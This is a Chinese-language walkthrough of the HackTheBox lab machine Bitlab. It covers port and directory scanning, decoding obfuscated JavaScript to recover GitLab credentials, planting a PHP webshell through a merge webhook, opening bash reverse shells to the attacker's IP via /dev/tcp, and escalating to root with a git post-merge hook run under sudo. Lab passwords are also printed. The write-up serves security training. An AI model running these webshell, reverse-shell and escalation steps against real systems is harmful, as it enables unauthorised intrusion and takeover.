靶场攻略 | 靶机Bitlab的渗透测试

admin 2024年11月24日12:22:25评论2 views字数 5090阅读16分58秒阅读模式
本文作者:是大方子(Ms08067实验室核心成员)

0x00 本文目录

  • 反思与总结
  • 基本信息
  • 渗透测试过程
  • 补充

0x01 反思与总结

1. curl 发送GET参数化请求 2. 对反弹回来的shell进行设置完善 3. 使用git hooks来进行提权

0x02 基本信息

靶场攻略 | 靶机Bitlab的渗透测试靶机IP地址:10.10.10.114 Kali IP地址:10.10.14.13

0x03 渗透测试过程

端口探测

  1. root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114
  2. StartingNmap7.80( https://nmap.org ) at 2020012210:04 CST
  3. Nmap scan report for10.10.10.114
  4. Host is up (0.24s latency).
  5. Not shown:998 filtered ports
  6. PORT   STATE SERVICE VERSION
  7. 22/tcp open  ssh     OpenSSH7.6p1Ubuntu4ubuntu0.3(UbuntuLinux; protocol 2.0)
  8. | sshhostkey:
  9. |2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18(RSA)
  10. |256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
  11. |_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55(ED25519)
  12. 80/tcp open  http    nginx
  13. | httprobots.txt:55 disallowed entries (15 shown)
  14. |//autocomplete/users /search /api /admin /profile 
  15. |/dashboard /projects/new /groups/new /groups/*/edit /users /help 
  16. |_/s//snippets/new /snippets/*/edit
  17. | httptitle:Signin xC2xB7 GitLab
  18. |_Requested resource was http://10.10.10.114/users/sign_in
  19. |_httptraneinfo:Problem with XML parsing of /evox/about
  20. ServiceInfo: OS:Linux; CPE: cpe:/o:linux:linux_kernel
  21. Service detection performed.Please report any incorrect results at
  22. https://nmap.org/submit/.
  23. Nmapdone:1 IP address (1 host up) scanned in34.44 seconds
目标靶机开放了80 和 22端口

目录探测

我们先从80下手,查看下网页内容
靶场攻略 | 靶机Bitlab的渗透测试
先使用gobuster进行扫描
  1. gobuster dir "http://10.10.10.114/"/usr/share/wordlists/dirbuster/directorylist
  2. 2.3medium.txt 150200,204,301,307,401,403o bitlab.gobuster
参数介绍:
dir: 表示扫描目录的模式 -w: 使用的字典 -t: 线程数量 -s: 只显示响应码为200,204,301,307,401,403的路径,因为我们访问网页的时候有些位置是不允许我们访问会被302跳转到登录界面
靶场攻略 | 靶机Bitlab的渗透测试
对出现的结果逐一查看,发现除了help外其他的网页都没什么可用信息

漏洞发现

打开help下的bookmarks.html
靶场攻略 | 靶机Bitlab的渗透测试
对这几个超链接逐一查看,发现前面4个连接都只是分别指向hackthebox,Docker,PHP,Node.js的官网并没有什么信息
点击 【Gitlab Login】 时,发现没反应,但是出现了javascript代码。
靶场攻略 | 靶机Bitlab的渗透测试
我们打开源码进行查看
靶场攻略 | 靶机Bitlab的渗透测试
把javascript代码复制出来放到https://beautifier.io/进行美化并把里面的HTML实体去除,得到下面的结果
  1. javascript:(function(){
  2. var _0x4b18 =["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E",
  3. "x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65",
  4. "x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64",
  5. "x31x31x64x65x73x30x30x38x31x78"];
  6.     document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
  7.     document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];
  8. })()
把_0x4b18里面的内容翻译下(十六进制转字符)
  1. var _0x4b18 =["value","user_login","getElementById","clave","user_password",
  2. "11des0081x"];
那么下面2行代码
  1. document[getElementById](user_login)[value]= clave;
  2. document[getElementById](user_password)[value]=11des0081x;
感觉是账号密码的感觉,我们在登录界面使用console进行尝试
靶场攻略 | 靶机Bitlab的渗透测试
账号密码直接出现并成功登录
登录后有2个库
靶场攻略 | 靶机Bitlab的渗透测试
在deployer中发现index.php,像是一个挂钩文件,当Profile存储库合并了一个新的提交时就会执行命令   切换到 profile目录 , 并且执行sudo git pull
  1. <?php
  2. $input = file_get_contents("php://input");
  3. $payload  = json_decode($input);
  4. $repo = $payload‐>project‐>name ??'';
  5. $event = $payload‐>event_type ??'';
  6. $state = $payload‐>object_attributes‐>state ??'';
  7. $branch = $payload‐>object_attributes‐>target_branch ??'';
  8. if($repo=='Profile'&& $branch=='master'&& $event=='merge_request'&& $state=='merged')
  9. {
  10.     echo shell_exec('cd ../profile/; sudo git pull'),"n";
  11. }
  12. echo "OKn";
那么我们只要写入一个webshell并合并到profile库中,那么这个index.php就会把我们的webshell给pull下来
我们创建一个分支
靶场攻略 | 靶机Bitlab的渗透测试
切换到这个分支,然后在这个分支上创建一个webshell
靶场攻略 | 靶机Bitlab的渗透测试靶场攻略 | 靶机Bitlab的渗透测试
写入一个webshell,并提交
靶场攻略 | 靶机Bitlab的渗透测试
  1. <?php
  2. if(isset($_REQUEST['cmd'])){
  3.         echo "<pre>";
  4.         $cmd =($_REQUEST['cmd']);
  5.         system($cmd);
  6.         echo "</pre>";
  7. die;
  8. }
  9. ?>
创建合并请求
靶场攻略 | 靶机Bitlab的渗透测试靶场攻略 | 靶机Bitlab的渗透测试
然后就可以看到我们的webshell就成功合并如mstaer库
靶场攻略 | 靶机Bitlab的渗透测试
此时应该会被之前的挂钩文件pull到本地,我们尝试访问看看
  1. http://10.10.10.114/profile/dfz.php?cmd=whoami
也可以通过curl来进行命令执行
靶场攻略 | 靶机Bitlab的渗透测试
  1. curl "http://10.10.10.114/profile/dfz.php"‐‐dataurlencode 'cmd=whoami'
-G:表示发送GET请求 --data--urlencode:对数据进行URL编码靶场攻略 | 靶机Bitlab的渗透测试
这样我们就拿到了webshell

反弹shell

接下来就是反弹shell
kali先nc先监听端口
靶场攻略 | 靶机Bitlab的渗透测试
然后用curl反弹,这里需要注意的是,反弹shell的指令前面还需要用到bash -c
  1. curl "http://10.10.10.114/profile/dfz.php"‐‐dataurlencode "cmd=bash ‐c 'bash ‐i >&
  2. /dev/tcp/10.10.14.13/9001 0>&1'"
靶场攻略 | 靶机Bitlab的渗透测试
反弹回来的shell,会出现字符错误,无法编辑vim等问题 
输入下面的指令对反弹回来的shell进行设置,让后面我们可以正常使用
  1. python "import pty;pty.spawn('/bin/bash')"
  2. ctrl + z (后台挂起shell)
  3. stty raw echo
  4. fg +多个回车
  5. stty rows 34 cols 136
  6. export TERM=xterm
靶场攻略 | 靶机Bitlab的渗透测试
这样我们反弹回来的shell就可以像我们平常用的那个shell一样了

权限提升

进入之后我们看下sudo -l 有没有能突破的点
靶场攻略 | 靶机Bitlab的渗透测试
这里我们可以看到 www-data用户可以不需要密码 
以root的权限调用git pull 命令
这里我们可以用git的hook文件来进行提权
在.git/hooks文件中有一些模板,我们可以对照进行编写
靶场攻略 | 靶机Bitlab的渗透测试
因为sudo运行www-data用户运行git pull文件
那么我们找下运行这个命令的时候会触发哪个hook文件
可以通过下面命令查看
  1. man githooks
靶场攻略 | 靶机Bitlab的渗透测试
可以看到在执行git pull时,会触发post-merge这个文件
但是在hook文件里面没有这个文件,我需要手动创建
但是这个文件夹我们没有写的权限
靶场攻略 | 靶机Bitlab的渗透测试靶场攻略 | 靶机Bitlab的渗透测试
那么我们把这个文件给重新拷贝一份出来
靶场攻略 | 靶机Bitlab的渗透测试
然后在 /tmp/dfz/profile/.git/hooks/中创建一个 post-merge文件 ,并赋予执行权限
  1. #!/bin/bash
  2. bash 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'
靶场攻略 | 靶机Bitlab的渗透测试
那么我们接下来做的就是要触发git pull,在这之前我们需要在仓库里面添加一个新的文件,这样git pull才能有效果,否则就有如下的提示
靶场攻略 | 靶机Bitlab的渗透测试
我们可以直接添加一个文件并合并
靶场攻略 | 靶机Bitlab的渗透测试靶场攻略 | 靶机Bitlab的渗透测试
kali进行监听,然后再进行sudo git pull
然后就得到root权限
靶场攻略 | 靶机Bitlab的渗透测试

0x04 补充

还有另一种方法get flag
我们在进入到profile仓库后可以看到一个TODO
靶场攻略 | 靶机Bitlab的渗透测试
然后我们在
  1. http://10.10.10.114/users/clave/snippets
里面找到postgresql的代码片段
靶场攻略 | 靶机Bitlab的渗透测试
可以看到这段代码在查询数据,我们可以看下它查询的是什么数据
  1. <?php
  2. $db_connection = pg_connect("host=localhost dbname=profiles user=profiles
  3. password=profiles");
  4. $result = pg_query($db_connection,"SELECT * FROM profiles");
  5. var_dump(pg_fetch_all($result));
  6. ?>
  7. array(1) {
  8.   [0]=>
  9.   array(3) {
  10.     ["id"]=>
  11.     string(1) "1"
  12.     ["username"]=>
  13.     string(5) "clave"
  14.     ["password"]=>
  15.     string(22) "c3NoLXN0cjBuZy1wQHNz=="
  16.   }
  17. }
靶场攻略 | 靶机Bitlab的渗透测试
我们尝试登录到clave
靶场攻略 | 靶机Bitlab的渗透测试
成功!
同时我们在clave的家目录下看到一个exe
靶场攻略 | 靶机Bitlab的渗透测试
我们通过scp下载回来
  1. scp clave@10.10.10.114:RemoteConnection.exe .
靶场攻略 | 靶机Bitlab的渗透测试
使用OD进行调试也可以看到root的账号密码
  1. Qf7]8YSV.wDNF*[7d?j&eD4^

原文始发于微信公众号(betasec):靶场攻略 | 靶机Bitlab的渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月24日12:22:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场攻略 | 靶机Bitlab的渗透测试https://cn-sec.com/archives/1618220.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息